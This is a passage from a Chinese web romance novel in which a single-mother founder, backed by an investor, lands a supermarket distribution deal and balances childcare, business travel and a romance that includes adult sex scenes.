他盯着她离开的背影,一直到她消失在走廊尽头。他的手指无意识地摩挲着茶杯的边缘,眼神深沉。
身边汪晴冷笑道:“她不是陆总投资的公司的老板吗?怎么不干了来送外卖。”
陆璟栋收回视线,没说话,只是端起茶杯,浅浅抿了一口杯子里的白茶。
有人笑着打趣:“陆总,她项目黄了吗?”
他仍旧没回答,眉眼淡淡的,一副爱答不理的样子。他在圈子里是出名的高冷。
“反正不怎么样,她就是靠脸。”汪晴冷笑,她林无可“亲子盲盒”项目来了一番轻蔑的评估。
众人顿时也表示不看好。
陆璟栋放下杯子,食指在杯沿上缓缓摩挲,似在极度压制情绪。
“嚯,你们怎么回事,没看到小爷我刚刚护着她吗?”季乘愤愤不平,怎么回事,他难道刚刚说的话被当空气了吗?
“你护着?”陆璟栋凉凉地说,语气里带着一丝警告。
季乘只得闭嘴:“我说错了。”
“少说两句,地球不会停转。还有,她是我护着的。”陆璟栋淡声说。
其他人才明白过来,投了林无可的人是陆璟栋,圈子里面隐秘的事情不少,他们不知道林无可和陆璟栋的关系,但想到林无可刚刚美艳的面孔,心里却多了几分猜测,顿时噤若寒蝉。
刚刚附和汪晴的那个河马商超继承人徐睿之,怕得罪了陆璟栋,开口:“我们旗下的连锁商超,非常乐意,不,是荣幸之至,可以立刻就接洽林小姐的亲子盲盒产品,并且会给到最优的渠道资源和推广支持!”
那态度转变之快,言辞之恳切,与之前判若两人,充满了求生欲。
陆璟栋的表情稍稍和缓:“好,我会转告她。”
林无可送完蛋糕,回了办公室,她有一个小隔间。
一条消息发了过来,是陆璟栋发来的:【今天还好吗?】
11. Chapter 11 黑伞
她看着那五个字,想了半天,只回了两个字:【挺好。】
几乎是秒回:【有一个连锁超市,河马商超,想让你去路演产品,需要出差。】
全国前几的大商超!路演产品!
这一刻,林无可的心脏怦怦跳,几乎要冲破胸腔。这条消息精准击中了她的神经!
这可是直通主流商超的渠道,是真正能把她产品送入客户家庭的敲门砖!
一条消息让她点燃了血液中沉睡的野心!
她屏住呼吸,果断回复:【我马上安排行程。】
她简直想要像糯糯一样,又蹦又跳了。
不过下午四点多,他在包厢坐着,酒局散了,微信点开又关。周围很吵,带着都市聚会场所特有的喧嚣气息。
聊天记录停在她发来的消息上。
“我也去。”他打了字,看了半天,又删掉。
他修长的手指在屏幕上停顿了许久,改成:“我去你办公室,帮你看看路演要准备的大纲。”
-
京市的天气一直很干燥,特别是秋天,这一天难得地下起了雨,外面有种静谧迷幻的美感。
二十分钟后,林无可办公室,迎来陆璟栋。他左手拿着一把黑色的雨伞,右手还拎着一打罗拉浪漫的纸杯蛋糕,路上顺便买的,正是来自林无可送蛋糕那家店,还有一束香槟玫瑰插在蛋糕袋子里,颜色带着柔和的光芒。
她早已把资料放在桌上,把简纲打印了出来,抬头看向他:“我准备了一个简单结构,你先看看。”
男人没说话,脱了外套,走过来坐到她身侧。他拿着薄薄一页纸,页面发出轻响。
“我改动一点。”他顺势按住她的手,笔贴着她掌心。他握着她的手在纸面上写,手掌的温度一下子传到了她的心头。
林无可站着,他从后面抱着她。每一次的轻触,都像点燃了野火,蔓延到四肢百骸。
她努力想去看简纲上写了什么,可是眼睛忍不住落在他的侧脸和那只修长的手上了。
但陆璟栋写的很认真,很快,内容改好了。
“你安排他们讨论下。”他放开手,手指从她手背轻轻滑过,若有似无的痒。
“好。”林无可赶紧哒哒哒地在键盘上敲起来,将电脑内容改好,然后嗖地一下发给了赵珊,让他们立刻去开会讨论:请大家准备准备,各自负责一部分。
发完邮件后,林无可发现工作群炸了。
员工1:哇塞,之前赵珊姐不是说商超渠道都拒绝了我们吗,老板牛逼啊。
员工2:太厉害了,呜呜。
新员工:天啦,太棒了,跟着林总混有肉吃,我一定会好好准备我那部分工作。
林无可今天下午去送蛋糕,传到了创业园,她刚才听到隔壁员工来八卦他们公司是不是要倒闭了,老板都出去跑外卖了。
此刻,她不由嘴角失笑。倒闭?那必须不可能啊。
身后的男人站了起来,他的呼吸贴近她耳侧,很轻地问:“笑什么?”
她动了动,刚要说话,唇却被他吻住。
外面一阵脚步声传来,紧接着有人关上了门。赵姗他们几个去开会了。
“等你工作上了正轨,我带你去度假。京郊度假村,我知道一家不错的。不知道还开着吗?”他又接着说,呼吸重了些。
“你都不知道开不开,还让我去。”林无可声音中带着沙哑。
她仿佛又回到了那个潮湿的春天夜晚,不知道他是不是在试探。
林无可察觉他可能在试探自己后,试图转移注意力,她伸手抚上,他靠在桌边的长伞。
伞柄很漂亮,订制的红木的,尽头圆圆的。
陆璟栋目光落在她的手上,若有所思。有钱人的圈子里有些人玩的脏,会用某些工具。他知道林无可没那种想法,但她白如雨后春笋的手,还是勾起了他的欲。
她裙摆很长,他的手从她膝盖向上,唇贴着她锁骨,声音低沉沙哑:“这伞柄漂亮吗?”
“嗯,看起来很贵。”她紧张得浑身颤抖,偏白的肌肤在灯光下,如同颤动的白色奶酪,让人想要咬一口。
“别紧张。”他抱起她坐在桌子上,空气中弥漫开危险的暖香,木质香气和玫瑰香气混在一起。陆璟栋未宽衣而是用的手,带着掠夺感。
林无可不敢跟他对视,咬住唇,手指紧抓着桌沿,橡木桌轻轻摇晃,资料滑落在地。
完事后,他把文件捡起重新放好。
“走吧,”他说,“陪你去接糯糯。”
林无可腿有些软,跟着男人往外走。
开会的人刚好回来,林无可耳朵发烫:“赵珊,我和陆总出去聊聊,先走了。哦,对了,这份蛋糕你们分了。”
赵珊几人并没察觉异状:“好,回头我把纪要发给你。”
“哇塞,罗拉浪漫的纸杯蛋糕。”一个员工简直开心坏了,两眼放光,一个就三十块钱呢,这可是一打呀。
“跟着林总,真享福呀。”另外一个员工着说。
-
他陪她接了糯糯,送她和糯糯回家后就离开了。
晚上,糯糯睡下后,她躺在床上,却是辗转反侧。糯糯该怎么办,请保姆?还是请家里帮忙?这些现实的问题,像石头压在她心上。
第12章秋南方出差
林无可这次出差必须去。
河马商超是南方大型连锁机构,临时加了线下展示环节,合作方点名要见初心盒项目的核心人选,而她,就是必须出场的人。这关系到“初心盒”能否拓宽新的合作渠道,对她而言至关重要。
时间很紧,两天后就要出发,来回两天。行程安排得满满当当,几乎没有喘息的时间。
她原本想带着糯糯一起,但南方那座城市正值梅雨季节,阴雨连绵,加上孩子刚好发烧后初愈,她不敢冒这个险。孩子的健康是她的底线,她不能因为工作,而让他受委屈。
中午午休的时候,她拨了林母的电话,声音里带着一丝小心翼翼的请求:“妈,能不能这几天帮我带一下糯糯?我后天要出差。”
“你弟弟周末要参加校外比赛,我还要接送。”林母那头语速很快,带着惯有的不耐烦,“你弟弟现在正是关键时期,无可,你也不能什么事都往我这儿扔。”
“我没有,”她咬着唇,感到一阵无力与酸楚涌上心头,“我临时有急事,两天而已,孩子这边有人帮一下就行。”
“你当初要生这个孩子,是你自己决定的。”母亲声音忽然低下去,语气里带着一丝冷漠与指责,“我们家的孩子,他是你自己的责任。”
林无可站在阳台,听着电话那头母亲不容置喙的语气,一句话都说不出来。秋风吹过,带着微凉的湿意,让她感到一阵透骨的阴冷。
晚上她回家,一边陪糯糯拼图,一边心里飞快盘算。五彩的拼图碎片散落在地毯上,像她此刻纷乱的心绪。
她想到过请育儿嫂,但怕面
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试来不及了,小时工又不放心。亲戚朋友全在外地,能找的都问了个遍,得到的都是委婉的拒绝,或是爱莫能助的叹息。赵珊能帮忙,但她已经帮过很多次,林无可也不想麻烦赵珊。
孩子看着她,小脸上带着与年龄不符的忧虑,突然开口:“妈妈,你又要加班啦?”
她笑了笑,笑容有些勉强:“妈妈要出差两天。”
糯糯眼神黯了一下,默默把拼图推进角落:“那我又要去赵珊阿姨家睡了?”
他的声音小小的,带着失落与不安。
林无可眼眶有点酸,她强忍着,不想让孩子看到她的脆弱。
-
第二天,她在打印资料的时候接到了陆璟栋的电话。打印机嗡嗡作响,空气中弥漫着墨水的味道。
他语气一如既往地平静:“出差准备好了?”
她手一顿:“嗯,河马商超要求见我本人,不去不太合适。”
“孩子谁带?”他的声音低沉,带着关切。
她顿了一下,声音有些干涩:“我还在想办法,实在不行,赵珊可以帮忙接送一下。”
电话那头沉默了两秒,那短暂的沉默让她感到有些小担心,毕竟他是投资人,这商超路演可不能搞砸了。
随后他说:“我给你安排个人。”
“我不是那个意思。”她下意识说,“我自己可以想办法,真的。”
“林无可。”他语气低了些,带着坚定,“你不需要这时候证明你能一个人扛下全部,你是在赌孩子不会出事。”
她说不出话来,他的话像一把尖刀,刺中了她心中最柔软也最脆弱的地方。
他接着说:“我不会帮你直接带孩子,我会请专业育儿嫂,我们一起面试确认。育儿嫂晚上住在你家,我每天抽时间来一趟,确认情况。”
“我不会动你家里任何东西,也不会插手孩子的事。”他的声音依旧平静,却带着一种让人安心的力量。
林无可的眼泪忽然有点控制不住,她用手背胡乱抹了一下:“好,谢谢。”
依赖感,对她而言,是一种奢侈。她之前想要推开他,没想到他总是帮忙。
他说得很平静:“你就习惯一下保姆也没关系,你工作总是需要人手帮忙带孩子的。”
她之前没考虑过,毕竟经济上有些紧张,没想到他是怕他不习惯:“我能习惯。”
“我本来准备和你一起过去的,但现在看来有更重要的事情,帮你照顾糯糯。”
他的这份体谅与周全,让她心怀感激。
-
当天晚上,七点钟,门铃响了。
陆璟栋穿着深灰衬衫,外面罩着长大衣,站在门口:“育儿嫂今晚面试,一会儿过来,我帮你筛了四个,你再挑挑。”
陆璟栋进门,帮林无可看了一会展示材料。
不一会儿,育儿嫂一个个过来了。
正当一位看起来经验颇丰的育儿嫂展示着她的各种证书和推荐信,讲解自己的育儿理念时,林无可放在茶几上的手机不合时宜地震动起来。
她看了一眼来电显示,是她母亲。
林无可微不可察地蹙了蹙眉,对面前的育儿嫂抱歉地笑了笑,示意稍等,然后接起了电话。
“无可,”电话那头,她母亲带着强烈控制欲的声音清晰传来,完全不给她开口的机会,“你要是还指望我帮你带孩子,就听我的,赶紧和裴尧把关系和好,低个头,别一天到晚瞎折腾了!”
12. Chapter 12 丝帕
一股混合着厌烦和叛逆的情绪在林无可心底翻涌。
她深吸一口气,再开口时,嘴角勾起一抹带着几分嘲讽和决绝的笑意,声音不大,却像小钢珠似的字字清晰:“妈,我这会儿正忙着面试金牌育儿嫂呢。我知道你平时也忙,身体要紧,带孩子这种累活儿,就不劳大驾了。”
电话那头明显一窒,随即是林母堪称战斗机噪音级别的尖叫:“什么?!育儿嫂?你哪儿来的钱请育儿嫂?林无可你是不是疯了?我警告你……”
“打住!你就别操心我哪儿来的钱了。”林无可打断了母亲的咆哮,“人家阿姨晚上过来面试,怪不容易的。我明天还要出差,正忙着呢,就不跟你掰扯了啊,先挂了。”
说完,不等林母再发出任何音节,她干净利落地按下了挂断键,世界清静了。
林无可将手机屏幕朝下扣在桌上,抬起头,脸上的笑容带着光彩。就在挂断电话的那一刹那,一股难以言喻的畅快感,如同挣脱了沉重枷锁的猛兽,从她心底最深处轰然炸开,瞬间席卷了她的四肢百骸。
她长久以来被亲情捆绑,被“为你好”的说辞压得喘不过气。在这一刻,憋屈被她亲手斩断,灰飞烟灭!她终于不用再因为担心母亲不帮忙带孩子,而不得不委曲求全听从那些她根本不想接受的安排和摆布了!
她甚至能感觉到自己的指尖因为兴奋而微微发麻,胸腔里充满了轻盈的空气。
这种独立掌控自己生活和未来的感觉,让她整个人神采奕奕。
陆璟栋的目光在她身上多停留了几秒,她也没注意到。
林无可带着这股劲儿,转向面前的育儿嫂,笑容愈发从容:“不好意思,阿姨,我们继续。”
面试继续进行。
-
面试结束,最后两位经验丰富的阿姨让林无可颇为满意,初步定下了人选,但还没想好选谁。
已近晚上九点,送走阿姨,林无可把糯糯哄睡了。
和赵珊聊了两句。
赵珊:你早就该请保姆了,你家里又不肯帮你。
林无可咬了咬唇,她不是不想请,是没钱。有钱了才腰杆子硬!为着紧急关头家里能伸那么一两次“象征性”援手,她以前还真不敢把林母的话当耳旁风。
现在终于请了保姆了,后顾之忧解除,她松了口气。盘算了下自己的收入,就算是每个月都请,也应当够了。
从卧室溜达出来,林无可发现客厅里的沙发上还坐着一尊大神,陆璟栋。
“最后那个两个确实不错,眼神清明,稳。”他评价道。
“我也觉得不错,但两个不知道选谁。”
“都请,还能互相监督,防止摸鱼。”大佬不愧是大佬,想得就是比她多一层。
林无可唇角不由自主地上扬:“你想的挺周到。”
“那是,阿姨的费用我帮你出了。”陆璟栋风轻云淡地表示。
“啊?使不得啦。”林无可连忙摆手。
“毕竟我提议的请阿姨。”男人话语掷地有声。
林无可眨眨眼,几天费用确实不多,大佬的面子还是要给的:“那……恭敬不如从命?我先去收拾明天出差的行李啦!”
她开始收拾行李,男人就坐沙发上,透过仿古窑花瓶上插的香槟玫瑰,看她。
换装完毕,她靠着沙发边,保持着安全距离,没坐下:“您这是打算在我家沙发上扎根发芽吗?”
他往旁边挪了挪,拍了拍身边的黄金位置:“赏脸坐会儿?”
林无可走过去,一屁股坐下,没注意位置,差点就跟他大腿来了个亲密接触!
她的呼吸一顿,想战略性撤退,奈何沙发太软,跟个温柔陷阱似的,一动反而更贴近了。这下好了,零距离感受他的体温!
灯光下,他的眼睛很黑,没什么多余的情绪,却盯得人心跳乱。
林无可感到他靠得太近,像某种狩猎者在等待猎物自己靠近。
林无可没退开,甚至有点想知道他到底想做什么。
她心跳快得像在打碟!
“累吗?”他问。
她指节却紧了紧:“有点儿。”
“让我试试看,能不能让你放松一点。”他说这句话的时候,气息几乎拂在她脖颈上。像羽毛挠得她脖子痒痒的。
他手轻轻搭在她肩膀上,不轻不重地按了按。
她感觉肩膀确实没那么紧了。
“舒服吗?”
“手法不错。”
“是吗?”他的指尖像调皮的电流,从她肩膀一路滑下去,落在她腰侧。他动作慢得几乎像在给她反悔的机会。
可她没动。甚至呼吸都浅了。
他像是得到默许,一手探到她膝弯,把她抱起来,抱进沙发的深处。
“调暗一点。”林无可说。
她家灯是声控的,顿时被压暗了,只剩下一团朦胧,但没全关。
他的面孔近在咫尺,林无可有点慌,改口:“关灯。”
而后伸手揪住了他衬衫最上面的扣子。
那一下像是点火。
他没再等她,吻落在她脖颈时,她忽然轻颤了一下,像被电击。下一秒,他手已灵活地探进她衣摆。
她的衣服一件又一件飞到了沙发边上的地上。她在他臂弯中仰着头,指尖抠着沙发边,每一寸都在发烫。
陆璟栋一边吻她,一边低声哄着,像在给不听话的小猫顺毛:“乖一点。”
她呼吸越来越乱,脚趾都蜷了起来,她眼角泛起潋滟的红。
他俯下身,把她紧抓沙发的手指一根根掰开,与她十指紧扣,压在她头侧,声音沙哑:“别忍。”
而后,不知他何时发现了挂在阳台上的丝帕,将她的手腕束住:“我和裴尧谁更像糯糯?”
糯糯还在卧室内睡觉,她没理他。
见她不说话,他惩罚似的加重了力道。林无可如同藤蔓一般晃动着,心里想着,男人的嫉妒心可真强啊。
客厅没再亮灯。只有沙发一角的薄毯滑落在地,和两人的衣服一起,安静地躺着。
茶几上的香槟玫瑰在安静的夜色中,悄悄舒展着每一片花瓣,仿佛也在微微颤动。
结束后,他依然没有留宿,只是淡淡说了一句:“丝帕我带走了,明天早上我过来接糯糯上学。”
家里确实睡不开,总不能让他打地铺。林无可脑海里面冒出这个念头,连忙压了下去。
林无可还像以前一样,赤着脚,随意拢了拢散乱的衣衫,走到冰凉的窗边。
玻璃的寒意贴着她的额头,她静静地看着他的背影融入楼下的夜色,直到那辆熟悉的车启动,一扭身,消失在转弯处。
夜风从窗的缝隙吹进来,带着秋日特有的凉意,一下下轻拂她发烫的肌肤。
-
第二天,她登机离开时,客厅阳光明亮。
糯糯在家门口跟她挥小手,声音明朗如小喇叭:“妈妈我不怕啦,陆叔叔一会儿就来接我去上学。你安心出差!”
糯糯脸上洋溢着天真烂漫的笑容。
两位新上任的育儿嫂态度恭敬得像在面对女王:“林小姐,您就放一百二十个心,我们都是持证上岗的专业人士!”
“对对对,保证把糯糯小宝贝照顾得白白胖胖,开开心心!”
她笑着点点头,眼眶却没出息地有点发酸,转身的瞬间,泪水模糊了视线。
--
出差第一天下午,林无可马不停蹄,直奔南方那家早就洽谈好的MCN营销带货公司杨梅子传媒签合同。项目条款什么的都已敲定,她这次过来,主要是想亲眼考察一下对方传说中“日进斗金”的直播间。
直播间内,暂时没有直播。
林无可被邀请进去看了,结果发现直播间说好的
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大商厦,就在居民楼里。
对方老板杨总笑得合不拢嘴,一口一个“林总年轻有为,前途无量”。
林无可淡声说:“我们打算把“初心盒”铺进“河马商超”,您这边能否给个折扣,这个直播间,实在是和您宣传的不符啊,主播的形象也有些虚假。”
当听说林无可下一步和河马签约的宏伟蓝图后,杨总脸上的笑容微微一僵,随即换上了一副“语重心长为你好”的表情,开始了他的提点:
“哎哟,林总啊,您这步子迈得是不是有点太大了?”老总呷了口茶,慢悠悠地说,“河马商超?啧啧啧,那可是块钢筋铁板,不,是钛合金板!多少国际大牌削尖了脑袋想往里钻,都得排队!您这产品,根基尚浅啊!”
旁边一位穿着碎花裙,自称“MCN头号带货宝妈茶茶妈”的也赶紧凑趣:“是啊是啊,林总,不是我们说丧气话,河马里面的水,那叫一个深不可测!里面的采购个个都是油盐不进的主儿。您这单枪匹马的,难度系数是地狱级别啊!”
“你们放心,我心里有数。”
杨总继续他的谆谆教诲:“林总啊,听我们一句劝,您把精力放在我们这边,咱们强强联手,把‘初心盒’打造成爆款,不比去河马那儿啃硬骨头强?”
“您这个直播间确实不符合预期。”林无可起身准备走,“我们拿到了风投,可以和更头部的流量博主合作。”
茶茶妈这才慌了:“林总,您别走,都是做妈的。这单我做了。”
老板听言,依然不想答应,追了两句:“想七折也行。只要林总真能签下河马,我不仅可以七折,而且我要直接五折。但我还是要劝几句,您要是实在签不下来河马,也别硬撑,早点打道回府,回家陪陪宝宝。钱嘛,慢慢赚,身体和家庭最重要!”
林无可挂着职业假笑:“多谢两位的金玉良言,我会仔细考虑的。河马那边,我自然有我的计划。我们先谈谈接下来这个季度直播的排期,合同等我和河马谈完再定价格如何?”
“好,我们马上准备合同,价格先空着。排期和主播间台词这些可以先定。”
谈完后,林无可没和MCN公司老板吃饭。对方一副她要栽跟头的表情。她实在是没兴致,而且她要回酒店休息,准备第二天去河马,
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吃了简餐,回到酒店房间,她打开手机,陆璟栋发来消息:【糯糯晚上吃了米饭、青菜和一点鲫鱼汤,情绪挺好,睡前看了绘本《独角兽仙女》。】【育儿嫂表现不错,不多话。放心出差。】
她没回,把手机抱在胸口,冰凉的屏幕贴着她的肌肤,好像抱住了什么撑着她走下去的东西。
终于不是一个人对抗世界的感觉。久违的温暖与踏实,让她紧绷的心有了松弛感。
-
她不知道的是,陆璟栋正坐在小床边,看着已经睡着的糯糯,孩子恬静的睡颜像一幅美好的画卷。
他忽然低声问了一句:“你妈妈,是不是从没指望过有人能帮她?”
小家伙睡得正香,砸吧砸吧嘴,没听见。
但他自己听见了。
他说完这句话后,去客厅坐了很久,窗外的夜色浓重,星子镶嵌在天空中,浅浅的光辉明灭。
他起身,准备关灯离开。
这时候,育儿嫂从卧室走了出来:“陆先生,糯糯想和您说话。”
他又回了卧室。
这个房子只有一室一厅,如今林无可不在,育儿嫂一个睡大床,一个睡客厅沙发,糯糯睡小床。
“叔叔,我想妈妈了,她什么时候回来?”糯糯醒了,声音里带着一丝哭腔,小手紧紧揪着被角,可怜巴巴。
“那……我们偷偷去找她,给她个惊喜,怎么样?”
“真的吗?”孩子的眼睛瞬间被点亮,像两颗闪烁的星星。
“嗯。”他轻轻应了一声,声音温柔。
13. Chapter 13
第13章秋
第二天,林无可直奔河马商超,目标铺货。
早上十点,林无可坐在会场,一口气把产品设计理念和铺货计划砸了出来。声音像连珠炮一般,字字珠玑,把每一个数据咬到精准。
对方商务采购经理,早就把她祖宗十八代都打探清楚了,知道她是个没背景没靠山的,随手把打印出来的PPT嫌弃一摔,语气如寒流:“亲子类?没资源,铺不开。现在谁还生孩子啊,不婚不育保平安懂不懂!你这玩意儿,市场前景堪忧啊!”
“我们这个产品,准备推出限定款搪胶公仔,目前在网上预订的粉丝可不少,都是真金白银的,热情很高。”林无可试图挽尊。
“你这产品,在我们的供货商渠道里面,在鄙视链底端都排不上号。”商务采购经理继续说。
林无可压住内心的怒火:“您要是有顾虑,咱们可以谈谈现金补贴。绝对的诚意!”
“现金补贴?你这个三无小品牌,都没多少销量现在,能补贴什么?补贴空气吗?”商务经理“噌”地站起身,大手一挥,直接判了林无可这个供应商“死刑”。
她领着两个跟班小弟,高傲地往门外走去。
“我们经理就这暴脾气,您见谅。”其中一位回头,皮笑肉不笑。
林无可定睛一看,哟,这不是自己的大学同学张允来嘛!
几年不见,油光锃亮,啤酒肚赛过七月怀胎,不过那眉眼间的猥琐轮廓,依稀还是当年给裴尧当狗头军师的德性。俩人一丘之貉,臭味相投。听说之前在清水衙门混日子,嫌薪水配不上他的雄才大略,刚跳槽到这儿。林无可此刻真想把这经理和张允来这对卧龙凤雏的脸,狠狠拍在投影仪上。
她强撑着站起来,气得手在收文件的时候都在发抖。
今天真是出门没看黄历,倒霉到家。
她背上包,下楼。
刚好和采购经理一起下去,两人一趟电梯。
林无可没忍住白了采购经理一眼。
这时候,电梯门开了。
林无可就听见那位刚才还鼻孔朝天的采购经理,一秒切换到哈巴狗模式,声音谄媚:“哎哟喂!小徐总!您这是什么神仙风给吹来的?”
“分公司,例行视察。”那男人一身铁灰色西装,娃娃脸,却自带两米八气场。
“您大驾光临,天大的稀客啊!”商务笑得眯起眼睛。
“和林无可的合同签了吗?”男人声音平平,听不出喜怒,却自带千斤压力。
“您认识她?”采购经理舌头打结,冷汗直冒。
林无可瞅见一张生面孔,赶紧自报家门:“您好,我就是林无可。合同还没签。”
“你好,我是徐睿之,河马商超的销售总经理。”徐睿之看了一眼腕表,“合同是我亲自审过的,走,跟我去签,会议室是1501对吧?”
“是是是!”商务经理连忙按了15层。
林无可云里雾里地跟了回去。
徐睿之轻轻一瞥,发现了垃圾桶里阵亡的PPT,淡声道:“亲子盲盒产品,我看过的,挺不错。”
采购经理一个箭步冲过去,手忙脚乱把PPT从垃圾桶里面拯救了出来,上面还沾了点茶叶沫子:“呀,这么重要的PPT,怎么掉垃圾桶里了?”
他干笑着掸了掸茶叶沫子:“徐总,要把我两个手下,叫过来学习学习吗?有个新来的,还没跟过完整合同流程。”
“不用了。”徐睿之看向林无可,语气利落,“初心盒的亲子模块,我们旗下深市的商超优先入驻,全量铺货,做个试点,推广预算我和陆总沟通过了。”
林无可脑子短路了三秒,不可置信地看向徐睿之。
徐睿之笑了笑:“合作愉快,林总。”
林无可这才魂归故里,赶紧伸手:“多谢徐总!”
采购经理脸都僵了,还得堆笑,一屁股坐下:“小徐总大气啊。我马上签。”
他签完后,徐睿之接过,利索地签上自己的名字:“拿去总裁办盖章。立刻。”
-
不一会儿,合同到手,公章鲜红!林无可长吁一口气,走出灯光明亮的会议室。
她手里捏着合同,纸张的边缘被她捏得有些微卷,想着明天的回程。虽然只是短短几日,她却已经开始想念糯糯柔软的头发和甜糯的笑声了。
这个项目谈得不错,但她并没有太多时间发飘。后续还有许多细节需要敲定,产品落地、市场推广,每一步都不能掉以轻心。
而且,她想到了MCN公司杨总那边的合同。把和河马的合同的签字页发给了杨总那边。顺便还给了河马商务采购经理的联系方式。
杨总那边很快电话就打过来了,开口就是拍板五折合作,热情得像三伏天的大太阳:“林总,您方便过来一趟签合同吗?我们公司边上刚好有个花卉展,给您备了一张套票,签完合同,搓一顿,然后小的们陪您赏花,一条龙服务!”
北方天寒地冻,南方春意盎然。林无可看了看日程表,嗯,可以有。
签完合同,林无可跟着杨总、茶茶妈还有几个MCN的员工,在南方城市的街头溜达。
湿润的空气带着陌生的草木清香扑面而来,路边行道树绿得晃眼,阳光碎金似的从叶缝里洒下来,晃得人有点晕乎。
走着走着,眼前豁然开朗,一方绿油油的开放式空地,赫然是个小型英式花园展。
白色藤架上爬满了蔷薇和常春藤,姹紫嫣红开遍,在午后阳光下娇艳得不像话。
空气里飘着若有似无的薰衣草香,呼吸都轻柔了几分。矮矮的白色栅栏划分出几个花卉区,田园风情满溢。
修剪整齐的灌木丛间,藏着几个萌萌哒动物石雕,小鸟在上面蹦跶觅食,简直是一幅会动的油画。主路两旁,小摊贩们卖着鲜花、手工饰品和复古小玩意儿,五颜六色,奇形怪状,勾得人走不动道。
她站在花卉展的门口,目光落在不远处的花朵城堡。
身侧,一丛丛鸢尾优雅无比,在微风中轻轻摇曳,像一群穿着紫色舞裙的婷婷玉立的少女。
“这鸢尾漂亮啊。”杨总目光落在林无可身上,笑着说,“就像咱们林总。”
杨总说话,真是让人油的难受,林无可都不知道怎么接话了。
“开个玩笑啊,林总是通天水杉!”杨总转向几个员工,
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“你们几个就在前面那条路,把直播设备加起来,开始吧。还真是已经很久没有静下心来赏花了,工作和生活的琐事太多。我和茶茶妈陪林总深度游。”
“杨总要是忙,就不必陪了。”林无可说。
她向来喜欢花。大学时,在社团活动室里,阳光洒在各色花材上,空气中弥漫着清新的花香,她和同学们一起修剪枝叶,将一枝枝花朵,插在花泥里,变成独特的艺术品。如今,浮生半日闲,变成一种奢侈。
“没事,我们不忙,为林总服务嘛。”杨总说。
林无可也不好让别人圆润地滚蛋,硬着头皮往前走。
刚走没几步,背后一个又惊又喜,带着点小奶音的呼唤,像一颗烟花炸开:“妈妈!”
她猛地回头,心跳骤停一秒。刚才还只有鸢尾和游客的区域,赫然多了三个熟悉的大活人。
糯糯!陆璟栋!还有贵人驾到的河马销售总经理徐睿之!
糯糯穿着件棕色小外套,小脸蛋兴奋得通红,小胳膊挥舞着:“妈妈!快来快来!这条路往前走,就可以进花花搭的城堡!跟我做梦梦到的一模一样!”
她三步并作两步奔过去,糯糯像只归巢的小喜鹊,“咻”地扑进她怀里,小手紧紧攥着她的手,拉着她就往城堡冲。
陆璟栋不紧不慢地跟在几步开外。
他今天换了身浅色休闲衬衫,外搭一件同色系外套,少了平日的锋锐,多了几分居家感。
他视线扫过林无可,声音没什么起伏,像在播放天气预报:“糯糯吵着要见你。没办法,带他过来了。”
语气平静,听不出半分纵容,倒像是完成了一项不得不做的无奈的任务。
林无可脑子又有点宕机,低头看着那张仰得高高、写满快夸我的小脸,心尖上像被羽毛轻轻搔过,暖流涌动,眼眶都热了。
她揉了揉糯糯的头。
杨总这时喘得像个破风箱似的追了上来:“林总,哎哟,这是您孩子?”
他目光触及陆璟栋,整个人像被按了暂停键,下巴差点脱臼:“这位是?”
“陆璟栋。林无可朋友。”陆璟栋惜字如金,目光清冷地扫过杨总,然后指了指旁边的徐睿之,声线平直,“他是徐睿之。河马商超,销售总经理。”
他的介绍都透着一股疏离感。
杨总的眼珠子瞪得像铜铃,差点从眼眶里弹出来:“陆,陆总好!徐总好!”
他舌头都捋不直了:“我的个乖乖,这是什么神仙阵容!”
他的表情仿佛在说,林无可,你这是抱上了多粗的大腿啊?!
茶茶妈也是目瞪口呆,半晌才找回自己的声音:“林总,您这才是真人不露相啊!我说您怎么那么有底气呢!早说您有这通天的人脉,我们还用得着提心吊胆吗!”
杨总求生欲爆棚,赶紧给茶茶妈使眼色,脸上堆满谄笑:“咳咳!茶茶妈,咱们那直播设备好像有点小问题,得赶紧回去调试调试!就不打扰几位贵人赏花了!回头再好好聊!”说完,他脚底抹油,带着茶茶妈,溜之大吉。
-
“今天麻烦你了。怎么没提前打个电话?”林无可瞅了眼陆璟栋。
14. Chapter 14
在这姹紫嫣红的花园展,陆璟栋这座万年冰山显得愈发好看,林无可的小心脏不争气地漏跳了好几拍。
陆璟栋面色无波,只淡淡道:“糯糯一吵,我就来了,想着到了再说。”
言简意赅,多一个字都嫌浪费,但林无可仿佛听出了几分对糯糯的的宠溺。
“妈妈,我们要给你一个惊喜呀!你不是说有人送你套票了嘛?”糯糯仰着小脸,笑得比花儿还灿烂,小虎牙闪闪发光。
“糯糯你跟陆叔叔说的妈妈有套票?”她轻轻捏了捏糯糯的小手,问。
“嗯。”糯糯用力点头,眼睛里闪烁着狡黠的光芒。
陆璟栋的视线在林无可脸上一掠而过:“走了。进去。”
林无可领着糯糯往前走:“糯糯,走吧。”
陆璟栋和徐睿之跟着他们一起走了进去。
林无可原以为这次出差,是在陌生城市里独自升级打怪。
可现在,在这生机盎然、暖意融融的地方,她突然发现,自己也不是那么孤单了嘛。不仅有糯糯和陆璟栋还有特邀嘉宾徐睿之。
几人很快来到花朵城堡前,那城堡花团锦簇,色彩缤纷,像是上帝打翻了调色盘,造型精致得像童话书里蹦出来的。
刚好徐睿之要去洗手间,陆璟栋和他一起去,和林无可打了招呼。
林无可点点头,看向面前的花朵城堡。
城堡是一簇簇花朵拼成的,很美,各种颜色的玫瑰、百合、郁金香交织在一起,散发着沁人心脾的芬芳。
糯糯把自己随身的小书包拉开,递给了林无可一颗巧克力:“妈妈,尝尝。”
那是一颗用锡纸包着的、形状可爱的小熊巧克力。
“哪来的?”
“小摊位上的手工巧克力。”糯糯说,目光落在她身上,带着浅浅的笑意,看向陆璟栋,“叔叔买的。”
林无可尝了一口,很甜,巧克力的香醇在口中化开,带着红树莓的清香,一直甜到尖:“糯糯,你看前面的旋转木马,很漂亮,我们排队拍照吧。”
花花城堡里简直是拍照天堂,一步一景,每个角落都像是精心布置过的童话世界。林无可相中了一个彩虹拱门下的绝美机位,从这里拍过去,背景是旋转木马和花朵尖顶塔楼,梦幻得不行。
排队的时候,林无可耐心地告诉糯糯都有哪些花。
母子俩排了一小会儿队,眼看就要轮到了,林无可引着糯糯往最佳拍摄点走,准备给他拍照。
忽然,一只手从旁伸过来,带着不善的力道拉住了林无可的胳膊。“哎!怎么回事儿啊?我们家明明先在这儿排着的!”
一个高壮的男人嚷嚷起来。
林无可秀眉微蹙,她记得清清楚楚,他们一家三口是后来的,而且刚才还试图往前挤过一次。
“叔叔,是我们先排到这里的。”糯糯仰着小脸反驳。
